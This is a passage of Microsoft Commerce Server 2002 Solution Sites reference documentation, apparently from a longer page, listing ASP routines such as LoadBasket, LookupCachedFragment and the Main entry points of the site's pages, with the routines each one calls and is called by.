This function reconstructs the profile schema to include the properties that have failed validation.

Definition

Function listReConstructPropertiesSchema(
  byVal listValidProperties
)

Defined in File

services\include\lib.asp

Routines Called

bCheckIfThePropertyFeatureIsSupported

dictGetpropertyFromList

GetRequestString

iGetCurrentUserPropertyAccessClass

listCloneProfileSchema

sGetUserAccessForThisProperty

Called By

PrepareSaveAllAction

PrepareSaveProfiles


LoadBasket - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves and returns the OrderGroup object associated with the current user, calling its LoadBasket method before returning.

Definition

Function LoadBasket(
  byVal sUserID
)

Defined in File

include\std_ordergrp_lib.asp

Routines Called

GetOrderGroup

Called By

CatchErrors (addrbook.asp)

CatchErrors (newaddr.asp)

FetchData (_setadrs.asp)

GetBasketDetails

InitializeBasketPage

InitializeCreditcardPage

InitializePO

InitializeSummaryPage

Main (_additem.asp)

Main (_delall.asp)

Main (_delitem.asp)

Main (_editqty.asp)

Main (_setship.asp)

Main (addrform.asp)

Main (dispatch.asp)

MoveBasketItems

PreparePickShipForm

PrepareShippingMethods

RecordClickToBasket


LookupCachedFragment - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function searches the LRUCache object specified by the sCacheName parameter for the fragment (a string) associated with name specified by the sCacheItemName parameter, returning the fragment if it is found, and Null otherwise.

Definition

Function LookupCachedFragment(
  byVal sCacheName,
  byVal sCacheItemName
)

Defined in File

include\std_cache_lib.asp

Routines Called

GetTicketInUrlArg

Called By

bFullTextResultsAreCached

bIsSearchDeptPageCached

bIsStepSearchPageCached

htmCachedProductList

htmCachedShippingMethods

htmRenderFillOutForm

htmRenderLoginSection

htmRenderMenu

Main (default.asp)

Main (product.asp)

RenderNavbar

Remarks

The source code includes sample debug code that will show if a fragment was cached.


LookupCachedObject - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function searches the LRUCache object specified by the sCacheName parameter for the object associated with name specified by the sCacheItemName parameter, returning the object if it is found, and Nothing otherwise.

Definition

Function LookupCachedObject(
  byVal sCacheName,
  byVal sCacheItemName
)

Defined in File

include\std_cache_lib.asp

Routines Called

None.

Called By

oCachedDiscountProductInfo


LookupRegion - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the country/region name associated with the passed parameters. The sRegion parameter might specify a country/region name, in which case that name is returned, or it might specify a country/region code, in which case the corresponding country/region name is returned. If the country/region name cannot be determined, Null is returned.

Definition

Function LookupRegion(
  byVal sRegion,
  sCountryCode
)

Defined in File

include\addr_lib.asp

Routines Called

None.

Called By

iValidateSubmittedAddress

iValidateSubmittedAddressForAddressBook


Main (_additem.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file _additem.asp, which adds an item to the user's basket.

Definition

Sub Main()

Defined in File

_additem.asp

Routines Called

Analysis_LogAddToBasket

ApplyVendorInfo

EnsureAccess

GenerateURL

GetCatalogForUser

GetProductQuantity

GetRequestString

LoadBasket

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

This sub gets the catalog, loads the basket, adds the item to the appropriate order form, saves the basket, logs the AddToBasket action, and depending on configuration settings, redirects to either the product.asp or basket.asp page.


Main (_delall.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file _delall.asp, which deletes all items from the user's basket.

Definition

Sub Main()

Defined in File

_delall.asp

Routines Called

EnsureAccess

GenerateURL

LoadBasket

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

This sub loads the basket, clears all items from the basket, saves the basket, and redirects to the basket.asp page.


Main (_delitem.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file _delitem.asp, which deletes an item from the user's basket.

Definition

Sub Main()

Defined in File

_delitem.asp

Routines Called

Analysis_LogRemoveFromBasket

EnsureAccess

GenerateURL

GetRequestString

LoadBasket

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

This sub loads the basket, checks the Request object for the item index, removes the item, saves the basket, logs the removal, and redirects to the basket.asp page.


Main (_editqty.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file _editqty.asp, which changes the quantity of an item in the user's basket.

Definition

Sub Main()

Defined in File

_editqty.asp

Routines Called

EnsureAccess

GenerateURL

LoadBasket

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

This sub loads the basket, gets the PRODUCTQTY_URL_KEY from the Request string, sets the current quantity or removes the item if the quantity is zero (0), saves the basket, and redirects to the basket page.


Main (_recvpo.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file _recvpo.asp, which receives a purchase order form in XML format, transforms the data into a Dictionary object, adds it to the OrderGroup object, and runs the OPP for Receiving Purchase Orders.

Definition

Sub Main()

Defined in File

_recvpo.asp

Routines Called

GetOrderGroup

ParseRequestForm

RunOrderPipeline

Called By

This routine is called by code outside of any routine (sub or function) in the file _recvpo.asp.

Remarks

For more information about how this routine is used to enable integration with Biztalk Server, see About the BizTalk Server Integration Feature.


Main (_setadrs.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file _setadrs.asp, which sets a shipping or billing address in the user's basket.

Definition

Sub Main()

Defined in File

_setadrs.asp

Routines Called

CatchErrors (_setadrs.asp)

EnsureAuthAccess

FetchData

GenerateURL

GetAddressType

GetRequestString

RsToDict

SetKeyOnOrderForms

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (_setship.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file _setship.asp, which sets shipping method information in the OrderGroup object.

Definition

Sub Main()

Defined in File

_setship.asp

Routines Called

CatchErrors (_setship.asp)

EnsureAccess

GenerateURL

GetRequestString

GetShippingMethodNameFromID

LoadBasket

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

This sub loads the basket, sets shipping information in the OrderGroup object, saves the basket, and redirects to the order summary.asp page.


Main (addrbook.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file addrbook.asp, which retrieves and displays the address book for editing.

Definition

Sub Main()

Defined in File

addrbook.asp

Routines Called

CatchErrors (addrbook.asp)

EnsureAuthAccess

FetchData

htmRenderAddressBookPage

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (addrform.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file addrform.asp, which displays a page for editing the billing or shipping address.

Definition

Sub Main()

Defined in File

addrform.asp

Routines Called

CatchErrors (addrform.asp)

EnsureAccess

GenerateURL

GetAddressType

GetDefaultValuesForAddressFormFields

GetSubmittedFieldValues

htmRenderFillOutForm

IsFormSubmitted

iValidateSubmittedAddress

LoadBasket

RenderText

SaveAddressToOrderGroup

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (basket.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file basket.asp, which displays the user's basket.

Definition

Sub Main()

Defined in File

basket.asp

Routines Called

AddDiscountMessages (std_ordergrp_lib.asp)

CheckBasket

EnsureAccess

InitializeBasketPage

RenderBasketPage

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

This sub runs the basket pipeline, adds discount messages to each line item, saves the basket, and prepares the HTML that will render the basket.asp page.

This sub will also display predictions, where available.


Main (category.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file category.asp, which displays the product list and sub-categories of the specified catalog, category, and page number.

Definition

Sub Main()

Defined in File

category.asp

Routines Called

EnsureAccess

EnsureUserHasRightsToCatalog

FetchCategoryData

GenerateURL

htmCachedProductList

htmCategoryHTML

mscsGetCategoryObject

mscsGetProductList

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (confirm.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file confirm.asp, which displays the confirmation page for a basket order.

Definition

Sub Main()

Defined in File

confirm.asp

Routines Called

EnsureAccess

htmRenderConfirmationPage

InitializeConfirmationPage

TerminateConfirmationPage

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (crdtcard.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file crdtcard.asp, which displays an input screen for credit card information when checking out.

Definition

Sub Main()

Defined in File

crdtcard.asp

Routines Called

EnsureAccess

htmRenderCreditCardPage

InitializeCreditcardPage

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (default.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file default.asp, which prepares the HTML from which the home page is rendered.

Definition

Sub Main()

Defined in File

default.asp

Routines Called

EnsureAccess

htmRenderDefaultPage

LookupCachedFragment

mscsUserCatalogsetID

PrepareDefaultPage

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (dispatch.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file dispatch.asp, which dispatches the user to the payment method page (crdtcard.asp or po.asp) when checking out.

Definition

Sub Main()

Defined in File

dispatch.asp

Routines Called

EnsureAccess

GenerateURL

GetPaymentMethodsForUser

GetPaymentPageFromPaymentMethod

GetRequestString

IsEntityInList

LoadBasket

sLookUpPaymentMethod

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (newaddr.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file newaddr.asp, from which the user can add, edit, or delete addressbook addresses.

Definition

Sub Main()

Defined in File

newaddr.asp

Routines Called

EnsureAuthAccess

htmRenderAddressForm

SetupAddressForm

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (opt-out.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file opt-out.asp, which adds the user to the opt-out list of a direct mail campaign.

Definition

Sub Main()

Defined in File

opt-out.asp

Routines Called

ErrorOut

OptOut

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

If a campaign item is not specified, then the user is added to the global opt-out list for the site.


Main (pickship.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file pickship.asp, from which displays a page for selecting the shipping method.

Definition

Sub Main()

Defined in File

pickship.asp

Routines Called

CacheFragment

EnsureAccess

htmCachedShippingMethods

htmRenderPickshipForm

htmRenderShippingMethods

PreparePickShipForm

PrepareShippingMethods

rsGetShippingMethods

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

The source code shows two ways of showing the shipping options: one calculates shipping cost previews, the other does not (the latter exhibits better performance).


Main (po.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file po.asp, from which displays an input screen for purchase order information when the user is checking out.

Definition

Sub Main()

Defined in File

po.asp

Routines Called

EnsureAuthAccess

GetDefaultValuesForPurchaseOrderFields

GetListItemIndex

GetSubmittedFieldValues

htmRenderPaymentOptionsPage

InitializePO

IsFormSubmitted

RedirectToPOConfirmation

TerminatePO

ValidateSubmittedPurchaseOrderData

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

This sub validates submitted purchase order data, and constructs the HTML that will render the payment options.


Main (product.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file product.asp, which displays a page of product details.

Definition

Sub Main()

Defined in File

product.asp

Routines Called

CacheFragment

EnsureAccess

EnsureUserHasRightsToCatalog

GenerateURL

GetRequestString

GetShownProductsDetails

htmRenderBuiltInProperties

htmRenderUserDefinedProductProperties

htmRenderVariantsList

LookupCachedFragment

RenderDiscounts

RenderForm

RenderHiddenField

RenderSubmitButton

RenderText

RenderTextBox

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

This sub attempts to use a cached catalog fragment. If the fragment is not cached, it is constructed and cached for future use. This sub also generates the AddToBasket form, and populates the discount banner slot.


Main (redir.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file redir.asp, which handles click-throughs and other events on marketing campaign items, invoking a pipeline that records the events in memory and to the Internet Information Services (IIS) log file.

Definition

Sub Main()

Defined in File

redir.asp

Routines Called

RecordClickToBasket

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (search.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file search.asp, which performs a free text search and displays the result.

Definition

Sub Main()

Defined in File

search.asp

Routines Called

bFullTextResultsAreCached

EnsureAccess

GetRequestString

htmRenderFullTextSearchResults

rsFreeTextSearch

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

This sub gets the search phrase, checks the cache for the results, runs the query, and displays the results.


Main (srchdept.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file srchdept.asp, which displays a list of searchable categories from a catalog.

Definition

Sub Main()

Defined in File

srchdept.asp

Routines Called

arrSearchDept

bIsSearchDeptPageCached

CacheFragment

EnsureAccess

htmRenderSearchDeptPageContent

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

This sub checks whether the page has already been generated and is cached, generates the HTML that will render a list of catalog names and category names, and caches the page.


Main (stepsrch.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file stepsrch.asp, which performs a product specification search and displays the results.

Definition

Sub Main()

Defined in File

stepsrch.asp

Routines Called

bClickedViewOrSearchButton

bIsStepSearchPageCached

CacheFragment

EnsureAccess

GenerateURL

GetCatalogForUser

GetRequestString

htmRenderStepSearchPageContent

PrepareSpecificationSearch

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

This sub gets the catalog name and instantiates the catalog object, gets the category name, checks for cached pages, prepares for and performs the search, and prepares the HTML that will render the results or the search options.


Main (summary.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file summary.asp, which displays an order summary that includes the grand total.

Definition

Sub Main()

Defined in File

summary.asp

Routines Called

AddDiscountMessages (std_ordergrp_lib.asp)

EnsureAccess

htmRenderSummaryPage

InitializeSummaryPage

TerminateSummaryPage

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

This sub removes unreferenced addresses from the order form, adds discount messages to each line item, checks for VerifyWith errors, saves the basket, and prepares the HTML that will render the page.


Main (welcome.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file welcome.asp, which displays a welcome page.

Definition

Sub Main()

Defined in File

welcome.asp

Routines Called

RenderLink

RenderText

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

A user is redirected to this page by the routine EnsureAccess when a user with a registered profile only has a profile ticket (as is the case when they return to the site after closing their browser). For more information about logging in, see About the Login Feature for Solution Sites.


Main (error\baditem.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file error\baditem.asp, which displays the message that a catalog item is unavailable.

Definition

Sub Main()

Defined in File

error\baditem.asp

Routines Called

RenderText

RenderUnorderedList

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (error\badurl.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file error\badurl.asp, which displays the message that the URL is not valid.

Definition

Sub Main()

Defined in File

error\badurl.asp

Routines Called

GenerateURL

RenderLink

RenderText

RenderUnorderedList

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (error\closed.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file error\closed.asp, which displays the message that the site is closed.

Definition

Sub Main()

Defined in File

error\closed.asp

Routines Called

RenderText

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (error\construc.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file error\construc.asp, which displays the message that the site is under construction.

Definition

Sub Main()

Defined in File

error\construc.asp

Routines Called

RenderText

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (error\noauth.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file error\noauth.asp, which displays the message that the user is not authorized to access the page.

Definition

Sub Main()

Defined in File

error\noauth.asp

Routines Called

GenerateURL

RenderLink

RenderText

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (error\profile.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file error\profile.asp, which displays the message that the user's account (profile) could not be found.

Definition

Sub Main()

Defined in File

error\profile.asp

Routines Called

RenderLink

RenderText

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (include\global_main_lib.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file global.asa, which creates and initializes many of the objects supplied by Commerce Server 2002. References to these objects are stored in the intrinsic Application object so that they can be retrieved and used from Web site pages.

Definition

Sub Main()

Defined in File

include\global_main_lib.asp

Routines Called

dictGetCatalogAttributes

dictGetProfileSchemaForAllProfileTypes

GetAppConfigObject

GetConfigDictionary

GetFormDefinitions

GetINIFileName

GetINIString

GetMessageManagerObject

GetObjectInstanceDictionary

GetPartnerAndCustomerServicePageAttributes

GetPaymentMethodsForSite

GetSecurePagesDictionary

GetSitePages

GetSiteStyles

InitAltCurrencyDisp

InitAuthManager

InitCacheManager

InitCatalogManager

InitCatalogSets

InitCSF

InitDataFunctions

InitPageSets

InitPredictor

InitProfileService

InitSitePipelines

IsActiveDirectoryPresent

JoinWebFarm

oGetGenIDObject

oGetOpenConnectionObject

sGetActiveDirectoryDefaultNamingContext

Called By

Application_OnStart

Remarks

This sub creates instances of the following Commerce Server objects: AppConfig, ProfileService, CacheManager, AuthManager, Pipeline, MessageManager, DataFunctions, CatalogManager, ExpressionEvaluator, and Predictor.

This sub gets the Commerce Server site application names from the configuration file, gets the Active Directory domain name (if the Active Directory data store is used), gets the Dictionary object for all the profiles and profile properties, and gets the Dictionary object of Dictionary objects containing properties for all pages.


Main (login\_guest.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file login\_guest.asp, which generally redirects the user to the home page (default.asp) as a guest user.

Definition

Sub Main()

Defined in File

login\_guest.asp

Routines Called

GenerateURL

GetNewGuestUserProfile

IsPersistentCookieAllowed

sGetUserIDForNewGuestUser

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

For more detailed information about logging in, see About the Login Feature for Solution Sites.


Main (login\login.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file login\login.asp, which displays the login page.

Definition

Sub Main()

Defined in File

login\login.asp

Routines Called

GenerateURL

htmRenderLoginPage

PrepareLoginPage

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

For more detailed information about logging in, see About the Login Feature for Solution Sites.


Main (login\logoff.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file login\logoff.asp, which displays the logoff page.

Definition

Sub Main()

Defined in File

login\logoff.asp

Routines Called

htmRenderLogoffPage

PrepareLogoffPage

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

For more detailed information about logging in, see About the Login Feature for Solution Sites.


Main (login\newuser.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file login\newuser.asp, which allows a new user to register and checks the user name and password for validity.

Definition

Sub Main()

Defined in File

login\newuser.asp

Routines Called

bRegistrationPageNotAvailable

GenerateURL

htmRenderNewUserPage

PrepareNewUserPage

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (services\change_password.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file services\change_password.asp, which allows Partner Services passwords to be changed.

Definition

Sub Main()

Defined in File

services\change_password.asp

Routines Called

CheckIfProfilesExist

EnsureAuthAccess

GenerateURL

InitializePartnerDesk

PasswordActionHandlers

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (services\customer\account.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file services\customer\account.asp, which allows users to view and modify their own profile.

Definition

Sub Main()

Defined in File

services\customer\account.asp

Routines Called

CheckIfProfilesExist

EnsureAuthAccess

GenerateURL

htmChangePasswordActionHandler

htmEditAction

htmSaveActionHandler

InitializePartnerDesk

PrepareEditAction

PrepareSaveAction

PrepareSaveChangesConfirmation

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (services\customer\orders.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file services\customer\orders.asp, which allows users to search for their orders.

Definition

Sub Main()

Defined in File

services\customer\orders.asp

Routines Called

EnsureAuthAccess

htmRenderOrderList

InitializePartnerDesk

OrderListActionHandler

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (services\customer\view_order.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file services\customer\view_order.asp, which allows users to view their orders.

Definition

Sub Main()

Defined in File

services\customer\view_order.asp

Routines Called

CheckIfOrderExists

CloseOrderDetailsActionHandler

EnsureAuthAccess

GenerateURL

htmOrderDetailsActionHandler

InitializePartnerDesk

PrepareCloseOrderDetailsAction

PrepareOrderDetailsAction

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (services\error\badaction.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file services\error\badaction.asp, which displays the message that an invalid action was requested.

Definition

Sub Main()

Defined in File

services\error\badaction.asp

Routines Called

RenderText

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (services\error\noaccess.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file services\error\noaccess.asp, which displays the message that the user does not have the necessary privileges to access the page.

Definition

Sub Main()

Defined in File

services\error\noaccess.asp

Routines Called

RenderText

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (services\error\noorder.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file services\error\noorder.asp, which displays the message that the requested order is not available.

Definition

Sub Main()

Defined in File

services\error\noorder.asp

Routines Called

RenderText

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (services\error\noorgprofile.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file services\error\noorgprofile.asp, which displays the message that the user does not belong to an organization.

Definition

Sub Main()

Defined in File

services\error\noorgprofile.asp

Routines Called

RenderText

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (services\error\noprofile.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file services\error\noprofile.asp, which displays the message that posted profiles are invalid.

Definition

Sub Main()

Defined in File

services\error\noprofile.asp

Routines Called

RenderText

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (services\partner\account.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file services\partner\account.asp, which allows administrators to view and modify the profile for their organization.

Definition

Sub Main()

Defined in File

services\partner\account.asp

Routines Called

CheckIfProfilesExist

CheckPartnerServiceAccess

EnsureAuthAccess

GenerateURL

htmEditAction

htmSaveActionHandler

htmSelectActionHandlerForEdit

htmSelectedActionHandlerForEdit

InitializePartnerDesk

PrepareEditAction

PrepareSaveAction

PrepareSelectActionHandlerForEdit

PrepareSelectedAction

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (services\partner\edit_user.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file services\partner\edit_user.asp, which allows administrators to add, delete, or modify profiles that belong to members of their organization.

Definition

Sub Main()

Defined in File

services\partner\edit_user.asp

Routines Called

CheckIfProfilesExist

CheckPartnerServiceAccess

EnsureAuthAccess

htmEditPageActionHandlers

InitializePartnerDesk

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (services\partner\orders.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file services\partner\orders.asp, which allows administrators to search for orders made by members of their organization.

Definition

Sub Main()

Defined in File

services\partner\orders.asp

Routines Called

CheckPartnerServiceAccess

EnsureAuthAccess

htmOrderListActionHandler

InitializePartnerDesk

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (services\partner\users.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file services\partner\users.asp, which allows administrators to search for and manage the user profiles associated with their organization.

Definition

Sub Main()

Defined in File

services\partner\users.asp

Routines Called

CheckPartnerServiceAccess

EnsureAuthAccess

htmListPageActionHandlers

InitializePartnerDesk

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (services\partner\view_order.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file services\partner\view_order.asp, which allows administrators to view orders made by members of their organization.

Definition

Sub Main()

Defined in File

services\partner\view_order.asp

Routines Called

CheckIfOrderExists

CheckPartnerServiceAccess

CloseOrderDetailsActionHandler

EnsureAuthAccess

GenerateURL

htmOrderDetailsActionHandler

InitializePartnerDesk

PrepareCloseOrderDetailsAction

PrepareOrderDetailsAction

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


MoveBasketItems - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function moves the items in the source basket to the destination basket. The source basket must exist and contain at least one item; the destination basket may or may not exist.

Definition

Function MoveBasketItems(
  byVal sSourceBasketID,
  byVal sDestinationBasketID
)

Defined in File

login\login.asp

Routines Called

GetOrderGroupManager

LoadBasket

Called By

PrepareLoginPage


mscsGetCategoryObject - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the Category object for the given category name. If the category name is "" (meaning the root category), this function returns Nothing, as the catalog does not have a Category object for the root category.

Definition

Function mscsGetCategoryObject(
  byVal oCatalog,
  byVal sCategoryName
)

Defined in File

include\catalog.asp

Routines Called

GenerateURL

Called By

listGetShownProductsInfo

Main (category.asp)

PrepareDefaultPage


mscsGetOrderGroupWithDiscountsByID - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves the OrderGroup object associated with the current user, loads the order specified by the iID parameter, adds discount messages, and then returns a reference to the OrderGroup object.

Definition

Function mscsGetOrderGroupWithDiscountsByID(
  iID
)

Defined in File

services\include\logic_orders.asp

Routines Called

AddDiscountMessages (services\include\logic_orders.asp)

GetOrderGroup

Called By

tblRenderOrderDetailsContents


mscsGetProductList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the product Recordset object for a specified category, using the specified paging information.

Definition

Function mscsGetProductList(
  oCatalog,
  oCategory,
  nPageNumber,
  nOutRecordsTotal,
  nOutPagesTotal
)

Defined in File

include\catalog.asp

Routines Called

None.

Called By

listGetShownProductsInfo

Main (category.asp)

PrepareDefaultPage

Remarks

The nOutRecordsTotal and nOutPagesTotal parameters are used to return data to the caller.

If the oCategory parameter is Nothing, this function returns the Recordset object returned by the RootProducts property of the catalog.


mscsGetSubCategoriesList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the child categories Recordset object for the Category object specified by the oCategory parameter.

Definition

Function mscsGetSubCategoriesList(
  byVal oCatalog,
  byVal oCategory
)

Defined in File

include\catalog.asp

